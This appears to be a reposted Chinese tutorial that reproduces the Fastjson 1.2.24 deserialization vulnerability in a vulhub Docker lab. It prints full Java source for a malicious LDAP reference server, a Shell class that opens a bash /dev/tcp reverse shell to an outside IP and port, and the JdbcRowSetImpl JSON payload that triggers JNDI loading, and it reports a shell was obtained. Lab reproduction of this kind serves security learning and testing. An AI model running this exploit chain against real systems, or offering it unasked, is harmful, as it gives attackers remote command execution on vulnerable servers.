Fastjson1.2.24

1. 环境简介

1.1 物理环境

  Docker+vulhub+fastjson1.2.24靶机容器(kali linux)
  RMI/LDAP服务器(eclipse+jdk1.8.0_181)
  文件服务器(Python3快速http服务)

1.2 网络环境

  win10(主机)(文件服务器+LDAP服务器)
  kali linux(虚拟机)(fastjson靶机容器+nc监听端口)

1.3 工具

  Burpsuite(发送恶意POST请求触发漏洞)
  Eclipse(运行LDAP服务)
  Ncat(监听端口接收反弹Shell)
  Java(将需要执行java源文件编译成class文件)
  Python3(快速开启http,存放编译后class文件)

1.4 流程

Fastjson1.2.24反序列化漏洞复现-LMLPHP

2. Docker+vulhub+fastjson1.2.24

2.1 Docker启动

  使用systemctl status docker检查docker状态
Fastjson1.2.24反序列化漏洞复现-LMLPHP

2.2 vulhub搭建

  可以按照官方教程进行搭建
  https://vulhub.org/#/docs/install-docker-compose/
  下图为安装docker-compose成功后的结果,由于python版本问题会出现下图中的问题,但是并不影响实际操作。
Fastjson1.2.24反序列化漏洞复现-LMLPHP
  安装完成docker和docker-compose后,拉取Vulhub到本地任意目录即可:
  git clone https://github.com/vulhub/vulhub.git
  成功后如下图,出现vulhub文件夹,并且其中包含不同框架子文件夹:
Fastjson1.2.24反序列化漏洞复现-LMLPHP
Fastjson1.2.24反序列化漏洞复现-LMLPHP

2.3 fastjson环境

  进入到vulhub下的fastjson文件夹中所需版本的目录下
Fastjson1.2.24反序列化漏洞复现-LMLPHP
  拉取镜像并且运行,如果下载慢的话可以多换几个源试试
  docker-compose build && docker-compose up -d
  成功后结果如下所示
Fastjson1.2.24反序列化漏洞复现-LMLPHP
  docker ps -a查看容器状态,已经启动并且映射至8090端口
Fastjson1.2.24反序列化漏洞复现-LMLPHP
启动成功后,主机访问虚拟机端口显示如下:
Fastjson1.2.24反序列化漏洞复现-LMLPHP
  至此fastjson环境搭建成功

3 LDAP服务器

  本次使用eclipse启动环境,需要特定的jdk版本,下面为LDAP代码,注释为需要修改内容的说明,根据具体环境进行修改

package fastjson;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://IP:PORT/#Shell";//此处填写格式为文件服务器(存放class文件)的IP与端口,后接需要获取的class的文件名,例如请求Shell.class,则填写/#Shell
        int port = 6099;//此处填写需要开启LDAP服务的端口号

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws MalformedURLException, LDAPException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Shell");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

  成功运行后显示正在监听6099端口
Fastjson1.2.24反序列化漏洞复现-LMLPHP

4 文件服务器

  使用python启动快速http服务,指定端口为11111(python2与python3命令不同)
Fastjson1.2.24反序列化漏洞复现-LMLPHP
  成功后通过浏览器访问本机11111端口,可以查看目录下的文件并下载
Fastjson1.2.24反序列化漏洞复现-LMLPHP
  需要执行的恶意命令java文件内容(.java)

import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell{
    public Shell() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.32.128/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"});//反弹Shell命令,根据具体情况可以修改IP:PORT
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

  进行编译,生产Shell.class文件,并放在启动的文件服务目录下
Fastjson1.2.24反序列化漏洞复现-LMLPHP
Fastjson1.2.24反序列化漏洞复现-LMLPHP

5 Burpsuite发送POST请求

Payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://IP:6099/Shell",
        "autoCommit":true
    }
}

Fastjson1.2.24反序列化漏洞复现-LMLPHP

6 结果查看

6.1 LDAP服务器

Fastjson1.2.24反序列化漏洞复现-LMLPHP

6.2 文件服务器

接收到GET请求
Fastjson1.2.24反序列化漏洞复现-LMLPHP

6.3 监听端口

反弹Shell成功
Fastjson1.2.24反序列化漏洞复现-LMLPHP

01-29 01:34